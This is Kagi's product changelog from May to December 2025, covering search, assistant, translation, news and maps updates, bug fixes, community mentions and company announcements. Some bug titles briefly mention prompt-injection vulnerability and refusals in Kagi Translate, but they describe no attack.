Join us tomorrow, December 19, at 09:00 PST (convert to local time ) for Kagi's annual community event, covering major updates, launches, and what's next. Plus live Q&A with the Kagi team. Register via Zoom. Looking forward to seeing you there!

Dec 4th, 2025 - New Kagi Search companions and quality-of-life improvements #

Kagi Search

Introducing Kagi Search companions

You can now choose your preferred companion on Kagi Search! And more companions coming soon.

Other improvements and bug fixes

Kagi Assistant

  • We've made the following model upgrades:
    • Research Assistant now uses Nano Banana Pro for image generation and editing
    • Claude 4.5 Opus and Deepseek v3.2 have been updated to their latest versions
  • Weird recording of voice in assistant #8672 @StefanHaglund
  • GPT OSS 120B stray think tag #8951 @claudinec
  • Citation popups cropped within tables #9025 @hinq
  • Include chat title in shared chat link preview #9045 @bert

Kagi Translate

  • [Extension] Discord, Whatsapp, Telegram, Reddit integrations
  • [Extension] Redirect from translate.kagi.com/url #8503 @Thibaultmol
  • [Extension] Statistics page in setting
  • [Extension] Apply suggestions (translate/proofreading) directly from overlay #8695 @orschiro

Slop Detective

Post of the week

Here is this week's featured social media mention :

Bluesky post from ari! which says: the people at @kagi.com are incredible, never thought I'd pay for a search engine but god it's so so so good. everything works. no more slop. i truly hope they're all having great years because kagi improved my life and research so much

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

Community creations

James Downs built a Kagi News app for Pebble watches:

Kagi News logo followed by 'Daily Press Summary' featuring a Pebble smartwatch displaying headlines from the Kagi News app

Check out this growing list of Kagi community creations for various devices and apps! Have one to share? [Let us know](mailto: esra@kagi.com ).

Small Web badges

Small Web initiative members can display badges on their websites to identify themselves as part of a community committed to authentic content created by humans. Grab them here! And keep exploring what the Small Web has to offer.

Collection of five Small Web initiative badges in pixel art style with orange and black color scheme, some which contain Kagi's dog mascot named Doggo

End-of-Year Community Event

Illustration of Kagi's mascot Doggo flying towards a toy yellow ball surrounded by clouds, with the text: Kagi End of Year Community Event and the date and time: December 19 at 9am PST

As we wrap up an exciting year for Kagi, we'd love to have you join us for our end-of-year community event on December 19 at 09:00 PST (convert to your local time ).

We'll share a comprehensive "Year in Review" covering Kagi's major updates, product launches, and what's ahead, followed by an interactive Q&A session where we'll address your questions directly.

How to participate:

Nov 22nd, 2025 - Kagi Hub Belgrade #

Kagi Hub Belgrade: Making the human web real

We just opened the Kagi Hub in Belgrade, Serbia!

If you’re a Kagi member, you can book up to 5 FREE reservations per month and treat the Hub as your base whenever you’re in Belgrade. It is the same space our team uses, so you will be working directly alongside the people shaping Kagi’s future. More details, including how to reserve your spot, are in this blog post: https://blog.kagi.com/kagi-hub

Having an actual physical space makes our mission to "humanize the web" feel so much more real. It is a place for Kagi members and our fully remote team to work, trade ideas, and build the tools we all wish existed.

We are looking forward to welcoming you to Kagi's first ever Hub!

Nov 20th, 2025 - Introducing Quick and Research assistants #

Kagi Assistant

Introducing Quick and Research assistants

Today, we are officially introducing Kagi Research assistants (previously known as "KI"). Read our full announcement here .

Their main strength is research: identifying what to search for, executing multiple simultaneous searches (in different languages, if needed), and synthesizing the findings into high-quality answers.

Simply choose whether to prioritise speed or depth:

  • Quick optimises for speed , providing direct and concise answers.
  • Research focuses on depth and diversity , conducting exhaustive analysis for thorough results. Research is available to Ultimate subscribers only.

To achieve this, they employ different base models for specific tasks. We continuously benchmark top-performing models and select the best one for each job, so you don't have to.

And on top of web search, we’ve added new behavioural layers and a wider toolset, including Python execution and image generation for higher-quality answers. These capabilities go beyond what was already possible in Kagi Assistant using a base model with web search. See our documentation for the full details.

Finally, a huge thank you to everyone in our Discord for beta testing this with us and providing tons of feedback along the way! 🙏

Note:

  • With this change, we set the Quick assistant as the default mode in Kagi Assistant. You can always adjust this in your Assistant Settings .
  • Additionally, we plan to migrate the q bang, currently used for Quick Answer, to trigger an Assistant thread targeting the Quick assistant.

LLMs are bullshitters. But that doesn't mean they're not useful

Yesterday, we published an opinion essay exploring the useful yet disruptive nature of LLMs. Give it a read and let us know what you think https://blog.kagi.com/llms

Colour code your Assistant tags

Now you can assign icons and colours to your tags. Spot important threads instantly.

Other improvements and bug fixes

  • Retired a handful of models. As part of a regular process, we occasionally review and retire models that are not used by Kagi customers and have been superseded by better, newer models. Saying bon voyage to: gpt-oss-20b , gpt-4-1-nano , gpt-4-1-mini , gpt-4-1 , o4-mini , o3 , grok-code-fast , mistral-large , deepseek-r1 , and hermes-4-405b . In the future we will forecast these changes with more advanced notice.
  • Various untranslated Kagi Assistant texts #5328 @MonoMatrix
  • Kagi Assistant - work on relationship between Custom Assistant and Model in the UI #8327 @RobOK
  • Show more info in dialog when using Kagi Assistants #8335 @Thibaultmol
  • Case-agnostic alphabetical sorting for assistant tags #8967 @lolroger

Kagi Search

SlopStop Update

Last week we kicked off our SlopStop initiative. Since then, the community has submitted over 3,000 reports! Our team is reviewing this data to refine our evaluation pipeline, with improvements expected to go live next week

Please continue reporting AI slop in your search results.

Kagi Translate

Post of the week

Here is this week's featured social media mention :

Haven't tried the Kagi Translate extension yet? Check it out !

Nov 13th, 2025 - Raising the shield against slop #

Kagi Search

Introducing SlopStop: community reporting to reduce low-quality AI content

Today we're releasing SlopStop, our first step in collaborative filtering. This allows our community to directly improve search quality for everyone! Read the full announcement here !

Low-quality AI content is flooding the web. Kagi’s ranking already downranks and filters much of it. SlopStop gives you a simple mechanism to help us keep results even cleaner and more authentic.

How it works:

  1. If you see low-quality AI content in web, image or video results, click the shield icon next to the result to report it. If something is flagged in error, use the same control to report the mistake.
  2. Check your reports statuses in Settings.
  3. We verify reports alongside our own signals. When a domain or channel is confirmed to primarily publish AI content, we deprioritise it in Kagi.

alt="Search results comparing AI slop detection on megik.com versus official Magic: The Gathering website on magic.wizards.com"

You can read more about this initiative in our annoucement blog post or in our documentation .

Highlighting surveillance actors

A screenshot of a Kagi search results page for NSO group. The page shows various search results, news articles, and a domain info panel on the right side. The domain panel highlights the label 'Known Surveillance Technology Provider'. This label serves as a classification or warning indicator about the company's role in providing surveillance technology.

We've integrated with Surveillance Watch , an interactive database that documents surveillance and spyware entities. When you visit a domain on their list, we'll display a banner to alert you.

Other improvements and bug fixes

Kagi Assistant

Kagi Maps

Kagi Translate

Kagi News

  • Improved story filter to prevent generation of mundane news (non-news) @petelingo
  • Less emotional/screaming TTS @hsiktas
  • Chaos index experimental feature broken on mobile @xytronix
  • Search and content filter should consider sub-category @laiz
  • USA | Austin, TX category returns a 404 when navigated to directly @loganmccaul

Kagi Summarize

  • 300+ languages added for mobile users
  • Improved layout for right-to-left languages on mobile
  • Liquid Glass design for iOS users

Post of the week

Here is this week's featured social media mention :

Post on Bluesky by Emily Hunt which reads: I saw a colleague use Google to search for something today, and I forgot how much easier it is (thanks Kagi!) when you don't have to scroll through a sloppy AI answer & loads of sponsored links to get what you need

Follow us on your preferred social media platform and tag us with your feedback!

Oct 23rd, 2025 - Go deeper with Quick Answer #

Quick Answer gets an upgrade

If you use Quick Answer on Kagi Search, you already know it finds relevant content fast. Now we're taking it even further as a powerful research tool:

Built-in follow-ups . Every answer now comes with three suggested follow-up questions to keep the momentum going.

A screenshot of Kagi search results for what type of radiation does the sun emit?'. The quick answer section highlights visible light, infrared radiation, and ultraviolet (UV) radiation as primary emissions, along with radio waves, microwaves, X-rays, and gamma rays. A knowledge panel on the right shows an image of the sun with text about 'Sunlight' and its electromagnetic radiation.

Seamless transition to Kagi Assistant . Your conversation thread carries over automatically so you can continue exploring instantly.

A close-up screenshot of the 'Quick Answer' section from Kagi search results, detailing the types of electromagnetic radiation emitted by the sun, including visible light, infrared, UV, radio waves, microwaves, X-rays, and gamma rays. It also mentions the beneficial and detrimental effects of UV radiation.

Mobile now has its own dedicated experience. Use the new full-screen view and input field to ask your next question. You can switch back to the Search results page at any time by tapping the magnifying glass.

The goal is for your research to feel less like a chore and more like following your curiosity wherever it leads.

Privacy Settings

  • As we continue building tools for both greater privacy and anonymity, we wanted to make this information easier to find. Our new dedicated privacy page puts everything in one place: our Privacy Policy , Privacy Pass , Tor access , and privacy-preserving payment methods.

A screenshot of the Kagi Privacy Settings page, showing information about Kagi's privacy policy, Privacy Pass feature, and options to download Kagi Privacy Pass for various browsers and Android. There's also a section for 'Hide kagi.com Referrer' with a toggle switch.

Other improvements and bug fixes

Kagi Search

Kagi Assistant

Kagi Translate

Kagi News

  • Single page mode (Sequential, Mix, Random) setting [web]
  • Add TTS, Simplifier and Anki flash card generation for Kagi Search subscribers [web]
  • Implement sharing [mobile]

Kagi Maps

October 17th, 2025 - Autumn patch notes & a new Kagi Special #

Kagi Specials

Our Kagi Specials initiative is expanding. Today we are adding Notesnook , the privacy-first note taking app.

Illustration of Kagi's mascot, a cartoon dog, holding a notebook with the Notesnook logo on it and a pencil, with two yellow padlocks floating on either side

Kagi members will get a 10% lifetime discount to Notesnook, and Notesnook members will get a complimentary 3-month subscription to the Kagi Professional plan. Visit our Specials page or learn more about this wider initiative.

Kagi Search

Kagi Assistant

Kagi News

Kagi Translate

  • Language complexity setting for translation/proofreading @laiz
  • Add Continue in assistant button 789 @yeddyfit
  • Wordstar translation fixes 794 @tux0r
  • Simplified TXT export for translation history 792 @fotland
  • CJK detect language prioritization setting @リボーン
  • Definition meaning equivalents @リボーン
  • Move romanization directly under input/output on desktop @p0ly60n
  • Proofreading adding em-dashes when not present in original text @alexchadwick
  • Translating to simplified chinese leaves some word in the source language @CTAO
  • Dictionary throwing "Failed to search dictionary. Please try again." #8651 @kayo

Kagi on Socials

Here is this week's featured social media mention :

Social media post by Brambleminster Gollyhatch on Mastodon stating: 'After a couple of months of using @kagihq, having to use Google on someone else's computer kinda feels like using your aunt's virus riddled Windows XP desktop with IE6 and no ad blocker.'

Follow us on your preferred social media platform and tag us with your feedback!

Kagi around the web

  • David Pierce of The Verge described Kagi News as "simple, straightforward, super useful."
  • Watch Cory Doctorow talk about the journey to finding a "magical" search experience with Kagi on the inaugural episode of The Honest Broker video interview series. You can also catch him talking about Kagi on Adam Conover’s podcast.
  • Listen to our founder Vlad on Monocle Radio announce Kagi's upcoming SlopStop initiative to help combat AI slop on the web (min 19:26) .
  • Kagi News also had a shout out on MacSparky: "If you want to stay informed without the doomscrolling, Kagi News is worth trying."
  • We enjoyed reading this comprehensive post about Kagi News by Esor Huang. Read with Kagi Translate.
  • After two years with Kagi, Michael Peter shares his positive experience and reflects on upgrading to the Ultimate plan: "I’m surprised I didn’t do it sooner. The AI assistant is really good and fits perfectly into my browser workflow."

Industry news

Community creations

The creativity of the Kagi community amazes us as always! Thanks to Remy Wang, you can now read Kagi News on Playdate :

Kagi art

With Kagi, you're always the customer. Never the product.
Two-panel comic: Top panel shows a search engine choosing between shelves of boxed users, saying 'Can't wait to use this.' Bottom panel shows a person choosing between boxed search engines with various prices from Kagi, saying 'Can't wait to use this.'

Sept 30th, 2025 - Kagi News #

Announcing Kagi News!

Today we’re officially introducing Kagi News: a once-a-day press review that cuts through the noise. Global stories, community-curated sources, and zero tracking. News the way it should be.

What can I do with it?

  • Get a thoughtful daily press review , tailored to your interests and reading pace
  • Explore up to 12 key stories per category — choose global news, local coverage, or both
  • Dive into international perspectives from major global outlets
  • Or focus on local news from a specific country, with content curated from its national press
  • Read any article in your preferred language with built-in translation
  • See every story structured clearly : Summary, Highlights, Key Quotes, Timeline, Context, and Impact
  • Tap once to access the original source
  • Help shape the feed by contributing trusted outlets to the community-curated platform

How It Works

Every day at 12:00 KT (Kagi time), we deliver a fresh press review based on your preferences.

Two iPhones displaying articles. The left one has no images. The right one shows images.

Two hands holding an open Android foldable phone displaying articles.

Built on Values You Can Trust

✨ No surveillance, ads, or trackers
🌍 Open-source curation by the Kagi community
🧠 Designed to empower you, not exploit your habits

Download it now on

App Store : https://apps.apple.com/app/kagi-news/id6748314243
Play Store : https://play.google.com/store/apps/details?id=com.kagi.news
Web : https://kite.kagi.com/

We'd love to hear your feedback on https://kagifeedback.org

Improvements and bug fixes

Kagi Search

Kagi Assistant

We've added several new flagship models to the Kagi Assistant.

Kagi Translate

  • Add standard/best toggle to Dictionary page
  • Stroke count for Chinese characters are incorrect @andelink

Kagi on Socials

Here is this week's featured social media mention :

Follow us on your preferred social media platform and tag us with your feedback!

Sept 18th, 2025 - Releasing Ask, a round of product polish, and translation upgrades #

Kagi Search

Kagi Maps

Kagi Assistant

Kagi Translate

Ask - bash script for quick AI queries in the shell

We open-sourced ask , a lightweight (about 200 lines) shell script for interacting with LLMs through OpenRouterAPI (in the future Kagi Assistant API).

Example usage:

ask command to find files larger than 100mb

# Output: find . -type f -size +100M
ask ffmpeg command to convert mp4 to gif

# Output: ffmpeg -i input.mp4 -vf "fps=10,scale=320:-1:flags=lanczos" output.gif

Check it out here .

Kagi Specials

We're excited to introduce Kagi Specials , where we spotlight privacy-first companies that share our values: no surveillance, no ads, no data selling, and providing special offers on these services for Kagi members.

Our first featured special is Ente ! It's an end-to-end encrypted photo and video storage service that ensures only you can access your memories.

Ente's mascot, a yellow duck, wearing a green cap with Ente's logo on it while smiling. Next to it is Doggo, Kagi's cartoon dog mascot, sitting happily with a tennis ball by its side. The background shows a bright blue sky with fluffy white clouds.

For users who value privacy, Ente is a perfect complement to Kagi, and Kagi members will get 25% off for the first 12 months. Read more about this initiative and keep an eye open for upcoming specials!

Kagi on Socials

Here is this week's featured social media mention :

A screenshot of two posts on Bluesky about Kagi search. The first post by TapGhoul (@tapghoul.dev) says: “Been using Kagi now for a while. Pretty much the same as strasz here — it’s made search usable. Even without blocking domains and such, it’s incredible how good a search engine can be when your eyeballs aren’t the product.” The second post by strasz (@strasz.bsky.social) says: “i love kagi — totally made search usable again. the ability to block domains owns, too. just great stuff.”

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi around the web

Industry news:

Illustration of Kagi's mascot, a cartoon dog with a white body and black nose and ears, reading a newspaper.

September 4th, 2025 - Kagi Summarize goes mobile, Kagi Assistant adds source attribution and study mode #

Announcing proportional source attribution in AI answers

We built technology that provides proportional content attribution in AI answers.

Reference links, each accompained by a percentage value of their contribution to the final answer

This helps you understand the importance of each source in forming the final answer.

More importantly, this technology paves the way down the road for Kagi to share profits with publishers participating in our AI answers. This would happen automatically for all websites, with no deals, no contracts needed.

Try it Kagi Assistant now.

Announcing Kagi Summarize for mobile

We're launching the Kagi Summarize mobile app for iOS and Android !

What can I do with it?

  • Save time by reading long articles and getting straight to the point
  • Reorganize an article’s structure into key takeaways
  • Native integrations into share flows on mobile
  • Multilingual article transformation to your preferred language

Download it now on

We'd love to hear your feedback !

Demo:

Study mode in Assistant

We're introducing our take on study mode : a Kagi Custom Assistant designed to guide your learning journey through active discovery. Using Socratic method, evidence-based learning techniques, and collaborative exploration, it helps you uncover answers rather than simply providing them.

Please note that the Kagi Study Custom Assistant is available only on the Ultimate plan, as it relies on premium models.

Kagi Search

Kagi Assistant

Kagi Maps

Kagi Translate

  • Dictionary mode with settings for context/definition details/synonyms
  • Dictionary popup during Translation, when selecting part of the input/output text (Kagi subscribers only)
  • Localization for Hebrew & Arabic (RTL)
  • Language-specific features in dictionary for Hebrew
  • Experimental Translation Context memory feature (Kagi subscribers only)
  • Settings/history sync across devices for logged-in users.
  • Validation failed when using custom settings for proofreading @Sominemo
  • Dark mode getting mixed with light mode under specific circumstances @nfd

Kagi in Japan

We're honored to join the Shibuya Startups program and community in Japan! 🇯🇵

This exciting opportunity came about through meeting Shiho Watabe, the startup hub manager, during our recent Japan visit . We were immediately drawn to their vision of supporting bold, boundary-pushing ideas from the heart of Tokyo's creative scene.

Japan has already become our second highest source of traffic through organic growth, thanks largely to Kagi Translate , and we see tremendous potential to deepen our presence there. Being part of this program opens doors to bring Kagi directly to Shibuya's libraries and schools.

alt="Slide with bold text ‘Thank you, Shibuya Startups!’ beside the Kagi logo on a large yellow semicircle. A cartoon version of the iconic Hachiko Statue stands on a gray podium while Doggo, Kagi's cartoon dog mascot, sits in front of it next to a tennis ball."

Kagi on Socials

Here is this week's featured social media mention :

A screenshot from Mastodon user Sebastian which reads: Just subscribed to a plan from #Kagi @kagihq. Wow, I forgot how satisfying searching for something on the web can be when you don’t get AI or (AI-written) content farms pushed into your search results. You can configure almost everything about your search experience, including modifying the ranking to prefer sites that have high-quality human-written content.

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news & around the web

Tech corner

Our colleague Jacob does a deep dive into how we optimized Kagi Assistant to load twice as fast.

How search engines should work

In collaboration with artist Chaz Hutton , we've illustrated what search should be: Zero ads. Zero tracking. Just the results you're looking for.

Comic comparing current search engines vs. ideal search: Top panel shows person seeking 'the thing' being bombarded with ads and irrelevant results from multiple figures holding signs. Bottom panel shows clean interaction where person asks for 'the thing' and receives exactly what they wanted.

August 19th, 2025 - Midsummer patch notes #

Kagi Search

Kagi Assistant

We've improved how you can organise your threads with tags. Here's a summary:

Plus,

Kagi Translate

Kagi Maps

Kagi on Socials

Here is this week's featured social media mention :

The tale of two search engines. Google, which uses its crappy AI to give a confidently wrong answer on every search. Or @kagihq which a) is confident enough to tell you if it doesn't know, and b) only uses AI if you end a query with a question-mark. Guess which search engine I use. Below the text are two side-by-side search-result images: the left shows a Google result that displays a specific payday date (highlighting Wednesday, July… as the payday), while the right shows a Kagi Quick Answer stating it cannot provide the exact payday, explains pay frequency can vary, and recommends checking an employment agreement or payroll department with links to references.

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news & around the web

  • Lee Hutchinson wrote a great in-depth piece on Ars Technica about making the switch to Kagi.
  • Orion gets a prominent shout out by designer Juxtopposed for its wide range of customization options and unique features.
  • Our CEO Vlad was interviewed on an episode of the Intelligent Machines podcast with Leo Laporte, Jeff Jarvis and Paris Martineau.
  • Sedat Kapanoğlu wrote about "good people doing good things", using Kagi as an example of a service whose incentives are aligned with its users.
  • Writer Dave Pollard mentions Kagi in an article about the internet’s "tragedy of the commons," using it as an example of a functioning digital commons.
  • Listen to Vlad on the Mac Power Users podcast with David Sparks and Stephen Hackett talk about what Kagi offers its customers and its role as a powerful alternative to products offered by tech giants.

From the Blog

Free search isn’t actually free. You’re just paying with something else. Read why paying for search is worth every penny.

Industry News

The true cost of "free" ad‑supported search isn't mere annoyance, it's also real loss of money and time. A CBS Chicago segment shows how scam ads are flooding results and hurting users. That's why Kagi is and will always remain ad‑free.

July 31st, 2025 - Kagi Assistant gets tags, bulk actions, and much more #

Kagi Assistant

This week's release brings several big updates to Kagi Assistant, laying the groundwork to exciting new chapters ahead.

Introducing tags
Tags let you organise your Kagi Assistant threads. Each thread can have multiple tags.

  • You can use the Temporary tag to mark any thread as temporary, and it will auto-delete 24h after its last update.
  • If you use Kagi Assistant in 24h mode, all new threads will be tagged as Temporary by default. When you remove the Temporary tag, that thread will be saved.
  • When you create a thread while viewing a specific tag, the new thread will automatically inherit that tag.
  • Threads without a custom tag, such as all your currently saved threads, appear in the All folder.

Learn more on our help page .

Bulk managing threads
We've also made thread management easier: select multiple threads and either tag them or delete them permanently.
[upl-image-preview url= https://kagifeedback.org/assets/files/2025-07-31/1753986178-528658-image.png ]

Model picker
The model picker now features a curated set of base models that we believe deliver the strongest performance, helping you choose the best option for your specific task. We continuously update this list using our own in-house benchmarking .
image

Define your default Assistant
You can now define your default Kagi Assistant model , as either one of your Custom Assistants, a base model or the last used model. Every new thread you create will start with that default model.

Removal of context windows limits
Kagi Assistant no longer enforces context window limits . We include all available information, and if we reach the model’s maximum size, we carry forward relevant context so it remains available for your next instructions.

Plus many other fixes and improvements

Kagi Search

As we gear up for important updates, this release brings a round of improvements and bug fixes,

Kagi Maps

  • More precise results when interacting with map POIs
  • Merging of information from multiple sources in search results

Fixes and improvements:

Kagi Android app

Our latest release introduces several quality-of-life improvements, including

  • Added a Kagi Assistant button right in the native search screen: faster access, less tapping #7166 @COValhalla
  • Fixed: tapping 'x' no longer clears your bottom search bar #7677 @yk

Kagi on Socials

Here is this week's featured social media mention :

Screenshot 2025-07-16 at 7.22.11 PM

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi around the web

  • Kagi was featured on a list of "Smarter Search Engines to Try in 2025" by PC Mag:

"Good for research, it offers outstanding control over your results, including letting you favor specified domains over others."

  • French tech site Clubic featured an interview with Vlad about 7 reasons to try Orion. Read with Kagi Translate here.
  • Cory Doctorow gave Kagi another shout out in a post about Google's declining quality and spam results:

"It's been more than a year since I gave up on Google Search (I switched to Kagi.com and never looked back). I don't miss it."

July 11th, 2025 - New News Homepage #

Kagi Search

Our redesigned News homepage is now live. You'll find top stories and selected categories featured prominently, so you can quickly access the news that matters most. Updated once per day, spend less time scrolling and more time staying informed. We plan to launch mobile native News experience soon.

Let us know how you like it!

We are still rapidly iterating on the quality of this content & welcome your feedback!

Kagi Assistant

We've added model info boxes that highlight each model’s strengths with scores from the Kagi LLM benchmark , so you can pick the best fit for your task without wading through docs. For more in-depth information, see the full details here .

Kagi Android app

New homescreen widgets for Kagi Assistant, Translate, and Summarizer -- access in one tap. Plus: smoother performance, cleaner experience, and fixes for the little things. Enjoy!

Kagi Translate

  • Grammatical Gender, notes, usage over time added to Dictionary
  • Navigate to text mode when clicking on a translation history element
  • Improved UI on mobile
  • More consistent font across devices
  • Do not show "Alternatives" title when there are none
  • Improved language auto-detection
  • Kagi Translate shows stop token in translation #7448 @phagi
  • Proofreading mode is broken with dark theme, scrolling to text near header is janky @MomentumBuffet

Kagi on Socials

Here is this week's featured social media mention :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi around the web

  • In one of the latest episodes of the Behavioral Science for Brands Podcast, Rory Sutherland discusses how Kagi stands out by prioritizing user interests over advertisers - highlighting what happens when search engines put advertisers first.
  • Jonathan Margolis interviewed our CEO Vlad in Air Mail magazine:

At last, a search engine that won’t collect your data and feed you ads.

  • Longtime Kagi user wrote a great guide on customizing Kagi Search with Lenses, Personalized Results / domain ranking to help you get the most out of your Kagi experience.
  • Kagi got a nice shout out on the Intelligent Machines podcast with Leo Laporte, Mike Elgan and Jeff Jarvis. An interview with Vlad will be on the show soon!

Industry News

June 27th, 2025 - Accessibility wins, regex bangs, relentless bug fixing #

Kagi Search

Accessibilty upgrades

Over the past few weeks, we've made many tweaks to improve accessibility of our settings pages for keyboard users, screen reader users, and users who have JavaScript disabled.

Advanced control for Bangs via Regex

We've added an optional "Regex" field to Custom Bangs for more precise control. Instead of $1 always being the first word and $2 the second, you can now define exactly how your query is split to create more powerful shortcuts.

For example, to create a custom translator for a query like !tr spanish live long and prosper , you can now separate the language from the text. In your Custom Bang settings, you would use:

  • Template: https://translate.kagi.com/?to=$1&text=$2
  • Regex: (\w+)\s+(.*)

This pattern tells the Bang to use the first word for $1 and the entire rest of the query for $2 . If you leave the Regex field blank, your Bangs will continue to work as they always have. We're excited to see what you build with this

Other bug fixes and improvements

Kagi Assistant

Kagi Translate

  • Proofreading mode improvements (statistics tab, apply/revert corrections, hover to find correction in text/list, all corrections now have explanations)
  • Added virtual keyboard for some alphabets
  • Language-specific tweaks for Russian, Estonian, Sami (All variants), Afrikaans and Cherokee.
  • Fix "Sorry, I cannot complete this request" censorship for some queries hyacinth
  • TTS using the wrong accent fbkagi rrmiguel
  • Enable output controls after text is processed, even if other features are not azdanov
  • Regression in RTL support kaguru
  • AM/PM vs 24H clock setting nichu42
  • TTS not playing on iOS if ringer is muted snowytrees
  • Translate is vulnerable to being prompt injected Colonial
  • Translation refuses to translate text that is censored in China JP Discord User/ Hanbyeol
  • Some symbols are escaped as HTML chars in translation UserOfOrion
  • Language detection thinks that [アラビア文字] arabic text instead of japanese JulianGro
  • Top bar in mobile Orion/Safari does not follow theme artem
  • Auto language switcher not working when pasting output text in source box Anonymous22
  • Korean locale tweaks Hanbyeol
  • Remove Sami dialects which are meaningless, only keep northern and sourthern variant Hanbyeol
  • Add login button redirecting to kagi.com on mobile kotaro
  • Language switch to Norwegian is broken #7510 @Temanor
  • Setting to have "Detect Language" as the default source language #7511 @Temanor
  • Translate screwing up HTML code for < and > symbols #7436 @carl
  • Translate makes up meanings for short/invalid words #7405 @Numerlor
  • Context Field in Kagi Translate Causing Internal Error #7543 @TusedayGhost /@cictao_85080
  • Translation quality is subpar while detecting the language of the text for the first time @cictao_85080

Kagi Android

Kagi Maps

Kagi on socials

Here is this week's featured social media mention :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news & around the web

Kagi for Libraries

With the Kagi for Libraries program, we'll offer free access to Kagi for public library patrons worldwide 📚

If your library is interested or you know a local public library that could benefit, encourage them to apply and help us expand this program.

June 9th, 2025 - Celebrating 50k customers #

More than 50,000 reasons we keep building

Today marks a special milestone in Kagi's history as we reach more than 50.000 paying subscribers. That’s not just a milestone, it’s 50.000 real humans who looked at the web, saw what we’re trying to do, and said, “yeah, I'm in.” That means everything to us.

As tradition demands, we’ve written a blog post packed with announcements and new stuff: read it here !

Thank you for believing in us. Here’s to the next 50k, we’re grateful to be building something that matters, with you! 🥂

Kagi Search

Kagi Assistant

Kagi Maps

June 2nd, 2025 - Kagi turns 3: past, present, and future #

3 years of Kagi!

We are extremely proud and happy to be celebrating three years of Kagi today!

Read everything about where we are as a company and where we want to go in Kagi status update: First three years blog post .

Improvements and Bug fixes

Kagi Search

Kagi Assistant

Since we introduced the Kagi Assistant to all subscriptions and began enforcing fair-use limits, users have requested better visibility on costs. In response, we have added the total token cost per month to the billing page .

Kagi Maps

We're happy to announce the launch of the (new) Kagi Maps. It's still early days, but we're working hard because maps are long overdue for a major upgrade. Our roadmap is packed with innovative ideas and, most importantly, interesting data to make local mapping meaningful again. Check out the alpha at kagi.com/maps . This is just the beginning.

Kagi Translate

Kagi on socials

Here is this week's featured social media mention :

Tag our accounts or use #Kagi when mentioning us in your posts!

Podcast feature

On the latest Timetable podcast, Kagi CEO Vlad joins Manton Reece to discuss building a user-first, ad-free search engine, why the economics of search are broken, and how Kagi helps you discover hidden gems from the Small Web - the kind of sites you'd never find on mainstream, ad-driven engines. Listen here.

Industry news

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

May 22nd, 2025 - Big in Japan #

Kagi Search

Kagi Assistant

Kagi Android app

Search from the Kagi widget is now WAY faster 🚀 Plus, we've squashed bugs and added some handy features:

Kagi Translate

  • Translation quality and speed improvements for best and standard modes
  • Word dictionary now shows synonyms
  • Proofreading mode, shows list of corrections with explanations, style and repetition analysis
  • Page height on mobile devices is too large, causes unwanted scrolling #7074
  • Custom CSS applying with setting disabled, system theme not respected on page load @electric_eel_maki
  • Preserve text while switching between modes @nichu42
  • Suggest to switch input language if selection doesn't match the detected one @vaartis
  • Pressing enter while in the language selector should pick the first option @bert
  • Add UK and US english as different options in the dropdown #7148 @Anonymous22
  • Ctrl+a selects all text on macOs #7095 @laiz
  • Kagi Translate refuses to translate NSFW text #7059 @ZK
  • Kagi Translate mobile layout is suboptimal #6878 @DeeKahy
  • Text overlapping on iOS/PWA #7045 @dartcircle

Kagi's Japan trip

A look into Kagi's trip to Tokyo, where we connected with the Kagi community, collaborated with local companies and potential partners, and enjoyed everything the city has to offer. A heartfelt thank you to everyone who met with us, shared meals, and made this experience unforgettable!
また次回お会いしましょう。

Or view on PeerTube here .

Kagi on Socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the News

  • German tech site Golem featured an article about Kagi being much more than just a Google alternative. Read with Kagi Translate.
  • French tech site Just Geek featured an article about Kagi's many features and how it might make you "forget Google." Read with Kagi Translate.
  • OMG Ubuntu covered Kagi's Orion Browser and its usage of GTK4/libadwaita for its Linux launch.
  • Kagi Assistant was mentioned on Computer World's "20 genuinely useful AI apps for Android" list :

Beyond basic queries, its $25-a-month Ultimate plan includes access to something called the Kagi Assistant, which lets you access the underlying intelligence from Gemini, ChatGPT, Claude, and other AI engines in a single streamlined spot and with the added advantage of complete privacy and custom filtering to help refine the results.

  • Liam Proven of The Register gives a shout out to Kagi in a piece about the enshittification of search:

Another option is to pay for your search engine. We've already mentioned Doctorow once, but his post about Kagi – a no-ads, no-tracking search engine with a tiered payment model – from a year ago makes interesting reading. The idea has gained traction with others, including Daring Fireball's John Gruber.

Kagi shout outs

  • Kagi is described as being best for "power users and professionals who want fast, curated, ad-free results" in a post by Maple Web Design.
  • Alan Jacobs shares a concise review of Kagi:

Google’s search results have become so bad that I recently subscribed to Kagi, and so far it’s been great.

  • Have a site or blog and want to have an easier way to search through its archives? This post outlines a good use of Lenses to make that easier.

A Lens will focus Kagi’s search on one or more (up to ten) particular sites, date ranges, regions, keywords, or file types. You can also exclude sites or subsites. Kagi has several default Lenses, and you can add your own customized Lenses:

  • Kagi is used as an example for why it's important to pay for what you love , and how it helps align the incentives between the user and the service provider:

In order for Kagi to make more money, they have to make search quality better. By adopting a subscription model, Kagi has fundamentally aligned the goal of the service with providing excellent search. This is why a subscription-based service is the most likely to keep its users satisfied over time, and why — if you care, and if you have the choice — you should choose to use a subscription-based service over other offerings.

  • Along those same lines, Liu Miao writes about how paying for search offers a different perspective on using the internet:

Indeed, our generation grew up with the internet, and search engines have been free since their inception. Why pay to use one? But looking at it from another angle, if search engines have been free for over twenty years, then who has been paying for me all this time?

And noting specifically about Kagi:

I hope to see more products like this in the future—products that treat users as users rather than as products.

Industry News

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

How search engines should feel

In collaboration with artist Chaz Hutton , this illustration captures how using a search engine should feel: straightforward and focused, guiding you directly to what you’re looking for.

May 6th, 2025 - Video search upgrades, enhanced Kagi Assistant experience and more #

Search

Video search upgrade

Video search now pulls from more sources and shows richer data:

And other bug fixes and improvements,

Kagi Assistant

This release packs important upgrades to make your experience smoother and more customisable:

  • Adjustable sidebars : on desktop, you can now resize both the primary and secondary sidebars to fit your workflow

  • Mobile revamp : we've upgraded the mobile experience for better usability and flow. Try it out and feel the difference

  • Lenses integration : you can now use your Lenses directly in the Kagi Assistant to further guide its search

